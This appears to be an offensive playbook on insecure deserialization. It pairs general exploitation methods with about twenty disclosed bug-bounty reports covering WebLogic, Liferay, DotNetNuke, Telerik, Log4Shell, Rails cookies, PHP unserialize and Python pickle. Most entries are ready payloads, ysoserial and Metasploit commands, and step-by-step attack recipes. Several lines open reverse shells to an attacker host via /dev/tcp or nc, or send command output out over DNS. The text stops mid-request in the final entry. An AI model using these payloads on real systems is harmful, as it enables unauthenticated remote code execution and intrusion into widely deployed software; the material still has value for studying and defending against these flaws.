Deserialization turns bytes back into live objects. When the bytes are attacker-controlled and the runtime is allowed to rebuild arbitrary types, the act of reconstructing the object graph runs code: magic methods fire (__wakeup/__destruct/readObject/__toString), a gadget chain of already-loaded classes resolves, and you reach RCE before the application logic ever inspects the data. Treat it as the shortest path from "untrusted string" to "shell as the service account" — usually unauthenticated, and usually against a managed product carrying a public CVE.
# Format tells — identify the runtime before you build anything
rO0AB... -> Java (base64 of 0xAC 0xED, ObjectStream)
AC ED 00 05 -> Java (raw hex header)
a:1:{ / O:8:" -> PHP serialize()
--- !ruby/object -> Ruby YAML | \x04\b -> Ruby Marshal
application/x-amf -> Java AMF (BlazeDS)
gASV / (dp0 / c__ -> Python pickle
Find which runtime and sink you're facing, then use the matching primitive.
# 1. Blind confirm — a gadget-free DNS canary (no classpath assumptions)
ysoserial URLDNS 'http://COLLAB' | base64 -w0
# 2. RCE once a lib is known present.
# Runtime.exec has NO shell, so pipes/backticks/redirects need an explicit
# bash wrapper; {a,b} brace-expansion beats the whitespace tokenizer.
ysoserial CommonsCollections7 'bash -c {curl,http://COLLAB/}' | base64 -w0
# then POST the blob to the sink (Content-Type per endpoint: x-amf, xml, form...)
POST /api/jsonws/invoke HTTP/1.1
Host: TARGET
cmd2: id
Content-Type: application/x-www-form-urlencoded
cmd={"/expandocolumn/add-column":{}}&p_auth=TOKEN&tableId=1&name=A&type=1&+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:<hex ScriptEngine gadget reading cmd2>;"}
# SnakeYAML: !!javaClass instantiates arbitrary types -> ScriptEngineManager/URLClassLoader RCE
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://COLLAB/"]]]]
# CookieStore RCE once you own the secret (git-scanned or shipped-static, e.g. GHE <2.8.7)
use exploit/multi/http/rails_secret_deserialization
set secret <leaked_secret_key_base>
set railsversion 4
set targeturi /auth/facebook
exploit
// Plant a phar polyglot, then point ANY filesystem call at it. Magic bytes ignore .png.
$p = new Phar('exploit.phar'); $p->startBuffering();
$p->setStub('<?php __HALT_COMPILER();');
$p->setMetadata(new \Vendor\GadgetClass); // a class with a useful __destruct/__wakeup
$p->addFromString('a.txt','x'); $p->stopBuffering();
rename('exploit.phar','exploit.png'); // defeats image-only upload filters
// trigger: file=phar:///var/www/uploads/exploit.png
// Cookie object injection — the sink is unserialize($_COOKIE[...]); use phpggc for the chain
O:6:"Canary":1:{s:3:"url";s:19:"http://COLLAB/probe";}
<!-- XAML ObjectDataProvider -> Process.Start, no gadget lib required -->
<ObjectDataProvider xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"
x:Key="x" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c ping COLLAB</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
# Kafka Connect / Debezium connector property -> outbound LDAP -> gadget RCE
database.history.producer.sasl.jaas.config = com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://ATTACKER" useFirstPass="true" serviceName="x" group.provider.url="x";
# serve the gadget: java -jar RogueJndi.jar --hostname ATTACKER -c "bash -c 'bash -i >& /dev/tcp/ATTACKER/4445 0>&1'"
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 69 in this class.
Real-world example
CVE chain: proxy traversal -> unauth JBoss console -> Java deserialization RCE
◆ Critical
Specimen #502758 · starbucks · awarded · 571 votes · resolved
Program starbucksSurface webChain Recon/version disclosure -> CVE-2007-0450 proxy traversal
Root cause
An obsolete custom CMS fronted an old Tomcat/JBoss; a mod_proxy directory-traversal (CVE-2007-0450) let the reverse proxy be bypassed to reach an unauthenticated JBoss web console (CVE-2007-1036), then exploited for Java deserialization RCE.
Method
- Fingerprint obscure/old stack from footer, stack traces, version banners
- Trigger Tomcat mod_proxy traversal to bypass the internal proxy: request /josso/%5C../
- Reach the internal-only JBoss web-console that has no auth
- Use jexboss against the invoker/deserialization, routing every request through the traversal prefix
GET /josso/%5C../web-console/ HTTP/1.1
# then jexboss against /josso/%5C../ prefix for the deserialization RCE
Insight — A dead 404/redirect page is not the end - fingerprint the CMS/app-server version and chain known-CVE traversals to reach internal-only admin consoles. When a proxy blocks a path, prepend the traversal token to every request to keep the bypass.
Real-world example
GitHub Enterprise Rails hardcoded secret_key_base -> cookie deserialization RCE
◆ Critical
Specimen #206227 · imgur · awarded · 119 votes · resolved
Program imgurSurface webChain Version fingerprint -> known static secret_key_base ->
Root cause
An unpatched GitHub Enterprise (<2.8.7) shipped a static Rails secret_key_base; knowing it lets an attacker forge a CookieStore session cookie containing a marshalled Ruby object that executes on server-side deserialization.
Method
- Fingerprint GHE version (login page / release notes) and confirm it predates the 2.8.7 patch
- Use the public static secret to sign a malicious Rails session cookie (marshalled RCE gadget)
- Send it to trigger server-side unmarshal -> RCE
# Rails signed CookieStore RCE using the leaked/static secret_key_base
# (metasploit multi/http/rails_secret_deserialization or manual Marshal gadget)
Insight — Unpatched appliances often carry known static secrets - always version-fingerprint managed products (GHE, GitLab, Confluence) and check for public secret-key/CVE disclosures. A static Rails secret = trivial CookieStore deserialization RCE.
Real-world example
PHP unserialize() of a cookie with a Monolog gadget chain
◆ Critical
Specimen #2248328 · nextcloud · none · 82 votes · resolved
Program nextcloudSurface web
Root cause
Custom WP theme calls unserialize(base64_decode($_COOKIE['nc_form_fields'])) on attacker-controlled cookie data; a Monolog FingersCrossedHandler->SyslogHandler-style gadget present via the PodLove plugin turns object injection into system() command execution.
Method
- Identify a request path that hits the vulnerable filter (e.g. the newsletter page rendering NinjaForms fields).
- Build a serialized Monolog FingersCrossedHandler gadget whose buffered record + processors reach call_user_func('system', 'id').
- base64-encode it and set it as the nc_form_fields cookie; the response body contains the command output.
curl -s -H 'Host: nextcloud.com' \
-b 'nc_form_fields=TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7...czoic3lzdGVtIjt9fQ==' \
'https://TARGET/newsletter/'
# decoded gadget: O:37:"Monolog\Handler\FingersCrossedHandler":4:{...buffer=[['id','level'=>100]]...processors=[1=>'system']}
Insight — Grep the codebase for unserialize()/unserialize on $_COOKIE/$_GET/$_POST; if any dependency (Monolog, Guzzle, Laravel, Symfony) is autoloaded, PHPGGC has a ready gadget. Cookies are a favored injection point because they ride every request.
Real-world example
Log4Shell (CVE-2021-44228) JNDI lookup injection in request headers
◆ Critical
Specimen #1425474 · acronis · $1000 · 75 votes · resolved
Program acronisSurface webChain JNDI lookup -> attacker LDAP referral -> Java deserialTag jwt
Root cause
Log4j <2.15 evaluates ${jndi:ldap://...} lookups inside logged strings; any user input that gets logged (headers, params) triggers an outbound JNDI/LDAP fetch and deserialization of the attacker's response => RCE.
Method
- Spin up an interactsh/Collaborator listener.
- Send ${jndi:ldap://HOST.collab/x} in ~30 candidate headers (User-Agent, X-Forwarded-For, Referer, etc.) and the query string.
- An out-of-band LDAP/DNS callback confirms the sink; escalate by serving a malicious LDAP referral to a deserialization gadget.
${jndi:ldap://TARGET.COLLAB/test}
# nested/obfuscated variants to dodge naive WAFs:
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://TARGET.COLLAB/x}
${jndi:dns://TARGET.COLLAB/x}
Insight — Fuzz the JNDI payload across every header and reflectable param; put a unique subdomain per header so the DNS/LDAP callback tells you exactly which field is the logging sink. dns:// works even where outbound LDAP is filtered.
Real-world example
Leaked Rails secret_key_base in public repo -> CookieStore Marshal RCE
◆ Critical
Specimen #134321 · algolia · 500 · 74 votes · resolved
Program algoliaSurface webChain GitHub recon -> leaked secret_key_base -> forged signe
Root cause
The Rails secret_key_base was committed to a public GitHub repo; because the app used CookieStore (server-side Marshal of session), an attacker can sign a cookie containing a Ruby object that executes on deserialization.
Method
- Scan the target's org + employee GitHub repos (Gitrob/trufflehog) for secret_token.rb / secret_key_base
- Confirm the app uses CookieStore sessions
- Run metasploit rails_secret_deserialization with the leaked secret (patch cookie regex for '-' in name)
- Get a reverse shell / run id
use exploit/multi/http/rails_secret_deserialization
set secret <leaked_secret_key_base>
set rhost target
set railsversion 4
set targeturi /auth/facebook
exploit
Insight — Recon-driven RCE: enumerate an org's (and employees') public repos for framework secrets. A leaked Rails secret_key_base with CookieStore = deterministic deserialization RCE. Same class as static/known secrets in shipped appliances (#206227).
Real-world example
Oracle WebLogic wls-wsat XMLDecoder deserialization RCE (CVE-2017-10271)
◆ Critical
Specimen #576887 · deptofdefense · none · 68 votes · resolved
Program deptofdefenseSurface web
Root cause
WebLogic's wls-wsat SOAP endpoint deserializes attacker XML via java.beans.XMLDecoder without restriction, allowing instantiation of arbitrary objects and OS command execution.
Method
- Send a SOAP POST to /wls-wsat/RegistrationPortTypeRPC with an XMLDecoder work:WorkContext
- Prove code execution with a Thread.sleep(12000) payload (12s response delay)
- Swap in a ProcessBuilder payload to run commands (use DNS/OOB if outbound is filtered)
POST /wls-wsat/RegistrationPortTypeRPC
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java class="java.beans.XMLDecoder"><object class="java.lang.Thread" method="sleep"><long>12000</long></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
Insight — For WebLogic, probe /wls-wsat/* and /_async/* with an XMLDecoder Thread.sleep payload as a safe timing oracle before attempting command exec. Timing proof avoids needing outbound egress. Swap Thread->ProcessBuilder for the real command.
Real-world example
Liferay JSONWS unauthenticated deserialization RCE (CVE-2020-7961)
◆ Critical
Specimen #2742457 · deptofdefense · none · 62 votes · resolved
Program deptofdefenseSurface webChain unauth JSONWS invoke -> Java deserialization -> c3p0/S
Root cause
Liferay Portal's /api/jsonws/invoke deserializes attacker-supplied JSON into arbitrary classes; supplying a com.mchange.v2.c3p0.WrapperConnectionPoolDataSource with a serialized HexAsciiSerializedMap gadget triggers a chained Transformer/ScriptEngine gadget that runs OS commands, unauthenticated.
Method
- Find a Liferay instance exposing /api/jsonws (default reachable).
- POST to /api/jsonws/invoke calling /expandocolumn/add-column with a +defaultData typed as the c3p0 WrapperConnectionPoolDataSource.
- Embed the HexAsciiSerializedMap Java-deserialization gadget whose payload runs a command from the cmd2 header.
- Read command output in the response.
POST /api/jsonws/invoke HTTP/1.1
Host: TARGET
cmd2: systeminfo
Content-Type: application/x-www-form-urlencoded
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=<token>&tableId=1&name=A&type=1&+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:<hex gadget with ScriptEngine ProcessBuilder(cmd2)>;"}
Insight — JSON web-service endpoints that let the caller pick the deserialized class (Liferay JSONWS, Jackson polymorphic typing, .NET TypeNameHandling) are RCE. The c3p0 WrapperConnectionPoolDataSource + HexAsciiSerializedMap is a reusable Java gadget; the embedded JS/ScriptEngine reads a header (cmd2) so you can change commands without rebuilding the blob.
Real-world example
.NET BinaryFormatter deserialization via HTTP header (Sitecore CVE-2025-27218)
◆ Critical
Specimen #3090123 · mars · none · 59 votes · resolved
Program marsSurface web
Root cause
Sitecore deserializes unsanitized user input taken from the ThumbnailsAccessToken HTTP header using .NET BinaryFormatter; a ysoserial.net gadget in that value executes OS commands.
Method
- Fingerprint Sitecore and confirm the vulnerable endpoint/version.
- Generate a BinaryFormatter payload with ysoserial.net (e.g. TypeConfuseDelegate/ObjectDataProvider -> cmd).
- Send it in the ThumbnailsAccessToken header; command runs as the app pool identity.
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c whoami"
# place result in: ThumbnailsAccessToken: <base64 payload>
Insight — On .NET apps, look for opaque base64 blobs in custom headers/cookies/tokens; BinaryFormatter/LosFormatter/ObjectStateFormatter are the classic sinks and ysoserial.net gives ready gadget chains.
Real-world example
YAML.load pivot to Marshal.load RCE (RubyGems CVE-2017-0903)
◆ Critical
Specimen #274990 · rubygems · $1500 · 50 votes · resolved
Program rubygemsSurface webChain YAML.load -> Marshal.load -> RCE
Root cause
rubygems.org hardened gem-spec YAML parsing with Psych.safe_load, but Gem::Package#read_checksums still called plain YAML.load on the gem's checksums file; using app-accessible classes that reachable YAML.load was chained into Marshal.load on attacker data => RCE.
Method
- Craft a .gem whose checksums entry contains a YAML payload that instantiates classes leading to Marshal.load of attacker bytes.
- POST the gem to /api/v1/gems; Gem::Package.new(body).spec parses it and hits the unsafe read_checksums path.
- Marshal gadget executes (PoC performed a wget/callback).
cat poc.gem | curl -H 'Content-Type: application/gzip' --data-binary @- \
-H 'Authorization: <api-key>' https://rubygems.org/api/v1/gems
Insight — Partial hardening is a trap: one safe_load does not protect a second, forgotten YAML.load/Marshal.load on the same object. Audit every deserialization entry point in a parser, especially secondary files (checksums, metadata) inside an archive.
Real-world example
Bug chain: LFR -> PHP object injection -> XXE/SSRF -> Python pickle RCE
◆ Critical
Specimen #415501 · h1-5411-ctf · none · 46 votes · resolved
Program h1-5411-ctfSurface webChain LFR -> source disclosure -> PHP object injection ->Tag file-upload
Root cause
A local-file-read primitive exposed source, revealing a PHP unserialize() on uploaded data. A gadget class (ConfigFile) with a __toString() that parses XML enabled XXE/SSRF to an internal service on :1337, which itself deserialized Python pickle -> full RCE.
Method
- Use LFR (template=../../etc/passwd) to read app source and find unserialize() in import endpoint and an XXE-capable gadget class
- Craft a serialized ConfigFile object whose config_raw is an XXE payload; trigger __toString by visiting a page that echoes $_SESSION['memes']
- Point the XXE SYSTEM entity at internal http://localhost:1337 which accepts a base64 Python pickle in a param
- Send a __reduce__/os.system pickle to get a reverse shell
a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:239:"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM \"http://localhost:1337/\">]><note><template>&xxe;</template></note>";}}
# python pickle gadget:
class PickleRce(object):
def __reduce__(self):
import os; return (os.system,("COMMAND",))
Insight — Chain primitives: LFR to recover source is the master key - it turns blind object injection into a targeted gadget hunt. Look for magic methods (__toString/__wakeup/__destruct) reachable from any place the object is echoed/concatenated; XXE is a great SSRF pivot to internal deserializers.
Real-world example
.NET XmlSerializer deserialization via DNNPersonalization cookie (CVE-2017-9822)
◆ Critical
Specimen #2762119 · mtn_group · none · 46 votes · resolved
Program mtn_groupSurface web
Root cause
DotNetNuke (5.0.0-9.3.0) deserializes the unauthenticated DNNPersonalization cookie by calling XmlSerializer with an attacker-supplied type name (Type.GetType(typeName)). Using the ExpandedWrapper + ObjectDataProvider gadget an attacker invokes arbitrary methods (file read/write, process start) = RCE. Triggered on the default custom 404 page.
Method
- Confirm DNN version and that a 404 hits the built-in error page
- Generate a payload with ysoserial.net -p DotNetNuke (read_file/write_file/run_command)
- Send it in the DNNPersonalization cookie to any URL (e.g. GET /__)
- Observe file content / reverse shell
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="key" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
# RCE variant: ysoserial.exe -p DotNetNuke -m run_command -c "powershell iex(...)"
Insight — Any .NET app that deserializes user data with a type name it doesn't constrain (XmlSerializer/LosFormatter/BinaryFormatter/Json.NET TypeNameHandling) is RCE via ExpandedWrapper+ObjectDataProvider. For DNN, the trigger surface is the anonymous DNNPersonalization cookie reachable on the default 404 page - no auth needed.
Real-world example
Kafka Connect RCE via JndiLoginModule SASL JAAS config -> LDAP deserialization
◆ Critical
Specimen #1529790 · aiven_ltd · $5000 · 45 votes · resolved
Program aiven_ltdSurface apiChain connector JAAS config -> outbound LDAP -> deserializatTag jwt
Root cause
A connector config property (database.history.producer.sasl.jaas.config on the Debezium MySQL connector) accepts an arbitrary JAAS module; setting com.sun.security.auth.module.JndiLoginModule with an attacker LDAP user.provider.url makes the server bind to the attacker's LDAP and deserialize the response => Java gadget chain RCE.
Method
- Via the Kafka Connect / Aiven REST API, create/patch a Debezium MySQL connector.
- Set sasl.jaas.config to JndiLoginModule pointing user.provider.url at your rogue LDAP (RogueJndi).
- RogueJndi serves a gadget (here: System.setProperty gadget to enable CommonsCollections unsafe deserialization, then CommonsCollections7) yielding a reverse shell.
database.history.producer.sasl.jaas.config = com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://ATTACKER" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";
# rogue server:
java -jar RogueJndi-1.1.jar --hostname ATTACKER -c "bash -c bash -i >& /dev/tcp/ATTACKER/4445 0>&1"
Insight — Any config surface that accepts a JAAS/LoginModule string (Kafka Connect, Debezium, Solr, etc.) is a JNDI->deserialization RCE sink; JndiLoginModule + a rogue LDAP server is the generic exploit.
Real-world example
Telerik UI RadAsyncUpload RCE chain (CVE-2017-11317 upload + CVE-2019-18935 deserialization)
◆ Critical
Specimen #838196 · deptofdefense · none · 45 votes · resolved
Program deptofdefenseSurface webChain weak-key file upload (CVE-2017-11317) -> insecure deseriaTag file-upload
Root cause
Outdated Telerik.Web.UI RadAsyncUpload uses a weak/known encryption key (CVE-2017-11317) allowing arbitrary file upload, and the async-upload handler insecurely deserializes the rauPostData JSON via JavaScriptSerializer (CVE-2019-18935); uploading a mixed-mode DLL and deserializing a type that loads it yields RCE.
Method
- Find the handler: GET /Telerik.Web.UI.WebResource.axd?type=rau returns 'RadAsyncUpload handler is registered successfully'.
- Brute the product version with RAU_crypto.py against versions.txt until a file upload succeeds (proves the known key).
- Compile a mixed-mode DLL (PoC: Sleep(10000) in DllMain), upload it, then run CVE-2019-18935.py to deserialize a type that loads the DLL from its upload path.
- A ~10s response delay proves code execution.
# detect + version brute:
curl -sk 'https://TARGET/Telerik.Web.UI.WebResource.axd?type=rau'
for V in $(cat versions.txt); do python3 RAU_crypto.py -P 'C:\\Windows\\Temp' "$V" testfile.txt 'https://TARGET/Telerik.Web.UI.WebResource.axd?type=rau' | grep fileInfo; done
# exploit:
python3 CVE-2019-18935.py -u 'https://TARGET/Telerik.Web.UI.WebResource.axd?type=rau' -v 2016.2.607.40 -f 'C:\\Windows\\Temp' -p sleep_amd64.dll
Insight — The RadAsyncUpload handler URL (?type=rau) is a reliable fingerprint; if the version is old, the encryption key is public so you get upload + deserialization for free. Use a Sleep() DLL as a safe RCE proof.
Real-world example
.NET LosFormatter RCE via __VSTATE parameter (HigherLogic)
◆ Critical
Specimen #1391576 · 8x8-bounty · none · 36 votes · resolved
Program 8x8-bountySurface web
Root cause
A HigherLogic community platform page deserializes the user-supplied __VSTATE parameter with LosFormatter, which is unsafe for untrusted input. A ysoserial.net TypeConfuseDelegate gadget yields RCE.
Method
- Locate a page exposing a __VSTATE parameter
- Generate a LosFormatter payload with ysoserial.net (TypeConfuseDelegate), gzip+base64 encode as the app expects
- Insert into __VSTATE and submit; confirm via OOB DNS
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping COLLAB.interactsh.com" -o raw | base64 -d | gzip - | base64 -w0
# paste result into the __VSTATE form field and submit
Insight — __VSTATE / __VIEWSTATE-style parameters on ASP.NET pages are LosFormatter/ObjectStateFormatter deserialization sinks - test them with ysoserial.net. Note the app-specific encoding wrapper (here base64->gzip->base64). Third-party platforms (HigherLogic) reused across many programs multiply the finding.
Real-world example
Apache Flex BlazeDS AMF deserialization (CVE-2017-5641)
◆ Critical
Specimen #728614 · deptofdefense · awarded · 28 votes · resolved
Program deptofdefenseSurface webChain AMF deserialization -> RMI/JNDI -> gadget chain ->
Root cause
A /messagebroker/amf endpoint deserializes untrusted AMF (application/x-amf) with BlazeDS; a crafted AMF object graph (sun.rmi.server.UnicastRef) forces an outbound RMI/DNS lookup, confirming unsafe deserialization exploitable to RCE with a gadget chain.
Method
- Send a plain collaborator host in the AMF body first -- nothing happens (rules out a naive URL-fetch false positive).
- Then send the host embedded in a serialized AMF UnicastRef payload; a blind DNS/RMI pingback proves deserialization.
- Escalate with a full ysoserial gadget for RCE.
amf_payload = b'\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a\x07\x33' + b'sun.rmi.server.UnicastRef' + struct.pack('>H', len(HOST)) + HOST + struct.pack('>I', PORT) + b'\xf9jv{|\xdehOv\xd8\xaa=\x00\x00\x01[\xb0L\x1d\x81\x80\x01\x00'
# POST to /messagebroker/amf with Content-Type: application/x-amf
Insight — application/x-amf endpoints (/messagebroker/amf) are Java deserialization sinks. Use the differential test (plain host vs host-inside-serialized-object) to prove it's deserialization and not a URL fetch; sun.rmi.server.UnicastRef gives a clean DNS/RMI canary.
Real-world example
Oracle WebLogic wls-wsat WorkContext XMLDecoder RCE (CVE-2017-3506/10271)
◆ Critical
Specimen #810778 · mtn_group · none · 25 votes · resolved
Program mtn_groupSurface web
Root cause
The WebLogic wls-wsat SOAP endpoints deserialize the WorkContext SOAP header with java.beans.XMLDecoder, which instantiates arbitrary classes; a ProcessBuilder object with a start() method yields unauthenticated OS command execution.
Method
- POST a SOAP envelope to /wls-wsat/CoordinatorPortType or /wls-wsat/RegistrationRequesterPortType
- Use a Thread.sleep XMLDecoder object for safe blind detection (timing)
- Escalate to a java.lang.ProcessBuilder object running /bin/bash -c with an OOB DNS callback to confirm RCE
POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
Host: TARGET
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>ping `whoami`.COLLAB.burpcollaborator.net</string></void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Insight — Detect WebLogic RCE safely with a Thread.sleep XMLDecoder object (measure response delay) before firing ProcessBuilder. Backtick command substitution inside the ping argument exfiltrates command output via DNS for blind targets.
Real-world example
PHP object injection __toString gadget -> XXE -> SSRF (LFI-assisted)
◆ Critical
Specimen #415222 · h1-5411-ctf · none · 20 votes · resolved
Program h1-5411-ctfSurface webChain filter-bypass LFI -> source disclosure -> PHP object i
Root cause
A meme generator loaded templates via a 'template' path param filtered only for type=image; switching type=text bypassed the filter to LFI/read source. The source revealed an unserialize() sink on uploaded data plus a ConfigFile class whose __toString() parses XML, giving PHP object injection -> XXE -> SSRF.
Method
- Bypass the LFI filter by toggling a sibling parameter (type=text instead of image) to read /var/www source
- Locate an unserialize() on user-uploaded/session data and a class with a dangerous magic method (__toString -> XML parse)
- Craft a serialized ConfigFile object so its __toString triggers XXE, then pivot to SSRF/internal port scan
<?php
$config = new ConfigFile("data:text/html,PAYLOAD");
echo serialize([$config]);
// a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:11:"placeholder";}}
?>
Insight — Chain pattern: a weak filter bypassed by a neighboring param -> LFI to read source -> find unserialize() + a magic-method gadget (__toString/__wakeup/__destruct) -> object injection into XXE/SSRF. Always grep recovered source for unserialize and magic methods.
Real-world example
LFI -> PHP object injection + XXE -> SSRF -> Python pickle RCE chain
◆ Critical
Specimen #415682 · h1-5411-ctf · none · 17 votes · resolved
Program h1-5411-ctfSurface webChain LFI (source disclosure) -> PHP object injection -> XXETag file-upload
Root cause
A chain: an LFI in the template param leaks source; unserialize() of user input on a hidden endpoint enables PHP object injection whose __toString triggers XXE (SSRF/file read); the SSRF reaches an internal service that unpickles a user-controlled status param, giving Python RCE.
Method
- Use template param LFI to read app source and /etc/passwd
- Craft a serialized ConfigFile object whose config_raw holds an XXE doc; upload via import endpoint to get XXE/SSRF
- Enumerate internal services via /proc/<pid>/cmdline over SSRF; find internal service on port 1337
- Send a malicious base64 cPickle (os.system reverse shell) as the status param to the internal service
# LFI:
POST /api/generate.php template=../../../../../../etc/passwd&type=text
# PHP object injection payload (b64-decoded):
a:2:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:...:"<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/issue'>]><memes><toptext>&xxe;</toptext>...";}i:1;O:11:"Maintenance":0:{}}
# Python pickle RCE:
class PickleRce(object):
def __reduce__(self):
return (os.system,("nc ATTACKER 9300 -e /bin/bash",))
# base64(cPickle.dumps(PickleRce())) -> send as status param
Insight — Recon internal services blindly via SSRF by walking /proc/<pid>/cmdline to reveal listening daemons and SSH tunnels. unserialize()/pickle.loads on any user input is RCE; __toString on injected PHP objects is a reliable trigger for XXE/SSRF.
Real-world example
PHP unserialize() on XML-RPC parameter (Revive Adserver)
◆ Critical
Specimen #542670 · revive_adserver · none · 11 votes · resolved
Program revive_adserverSurface webChain XML-RPC param -> unserialize() -> PHP object injection
Root cause
The XML-RPC endpoint www/delivery/dxmlrpc.php calls unserialize() on the first parameter of the 'pluginExecute' RPC method, so an attacker-supplied serialized object reaches unserialize() => PHP object injection.
Method
- Send an XML-RPC request invoking pluginExecute with a crafted serialized string as the first parameter.
- unserialize() instantiates attacker-controlled objects; chain a POP gadget for impact.
<methodCall><methodName>pluginExecute</methodName>
<params><param><value><string>O:8:"EvilObj":0:{}</string></value></param></params>
</methodCall>
Insight — RPC/XML-RPC method parameters are an overlooked unserialize() sink; audit dispatcher methods (pluginExecute-style) that pass raw params into unserialize(). Any reachable unserialize() on user input is PHP object injection.
Real-world example
Java Object Deserialization RCE in PeopleSoft /monitor (CVE-2017-10366)
◆ Critical
Specimen #329376 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface webChain readObject() on POST body -> ysoserial gadget -> RCE (
Root cause
Oracle PeopleSoft's 'monitor' servlet (path /psc/<site>/.../monitor) deserializes POST bodies via readObject() with no type validation; a ysoserial object executes on deserialization -> RCE (or a malformed object -> OOM DoS).
Method
- Generate a blind-detection payload: ysoserial URLDNS http://CANARY.attacker > payload.
- POST it raw to the monitor endpoint: curl https://TARGET/monitor/<site> --data-binary @payload.
- A DNS query from the target to your BIND server confirms deserialization; swap URLDNS for CommonsCollections for RCE.
- DoS variant: post the known OOM byte payload to crash the JVM (java.lang.OutOfMemoryError).
java -jar ysoserial.jar URLDNS http://canary.attacker.tld > payload
curl https://TARGET/monitor/EXPROD_1 --data-binary @payload -k
# DoS:
echo -n 'rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cH////d1cQB+AAB////3...' | base64 -d > payload_dos
curl https://TARGET/monitor/EXPROD_1 --data-binary @payload_dos -k
Insight — ysoserial URLDNS is the safe, universal blind test for Java deserialization -- it triggers only a DNS lookup, needs no gadget lib, and proves the sink before you weaponize. Exposed PeopleSoft /monitor endpoints are a classic readObject() sink; blocking the path is the fix (patching gadget libs is insufficient).
Real-world example
PHP object injection → SoapClient::__getCookies type confusion → RCE
◆ Critical
Specimen #73245 · ibb · awarded · 5 votes · resolved
Program ibbSurface webChain unserialize() PHP object injection -> internal type confu
Root cause
SoapClient::__getCookies() passed the _cookies property to Z_ARRVAL_P/zend_hash_copy without verifying it is a real array. Via unserialize() an attacker sets _cookies to a crafted string that the engine treats as a HashTable, so a fake HashTable/Bucket/ZVAL layout yields arbitrary memory disclosure or code execution.
Method
- Reach any unserialize() sink fed with attacker data
- Inject a SoapClient object whose _cookies is a string holding a fake HashTable/Bucket/ZVAL
- Call (or let the app call) __getCookies() to trigger the type-confused hash copy
- Point the fake ZVAL/function pointer at zend_eval_string to run arbitrary PHP/shell
O:10:"SoapClient":1:{s:8:"_cookies";s:<LEN>:"<FAKE_HASHTABLE_BYTES>";}
// $z = unserialize($exploit); $z->__getCookies();
// fake ZVAL type byte 0x04 (IS_ARRAY) + crafted Bucket -> zend_hash_copy over attacker memory -> call func_addr (zend_eval_string)
Insight — unserialize() on attacker input is dangerous even without app-level POP gadgets: built-in classes (SoapClient here) can be weaponized directly through engine type confusion. Treat any unserialize sink as potential RCE and enumerate internal classes whose magic/accessor methods touch typed internals.
Real-world example
Oracle WebLogic wls-wsat XMLDecoder RCE (CVE-2017-10352)
◆ Critical
Specimen #634630 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web
Root cause
WebLogic's wls-wsat SOAP endpoint deserializes the WorkContext header with java.beans.XMLDecoder, which instantiates arbitrary Java objects. A ProcessBuilder object in the XML yields OS command execution.
Method
- Locate /wls-wsat/CoordinatorPortType (or other wls-wsat SOAP paths).
- Send a SOAP envelope whose work:WorkContext header contains a java.beans.XMLDecoder block.
- Prove exec with a Thread.sleep (timing) then ProcessBuilder running nslookup to a collaborator for OOB confirmation.
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Content-Type: text/xml
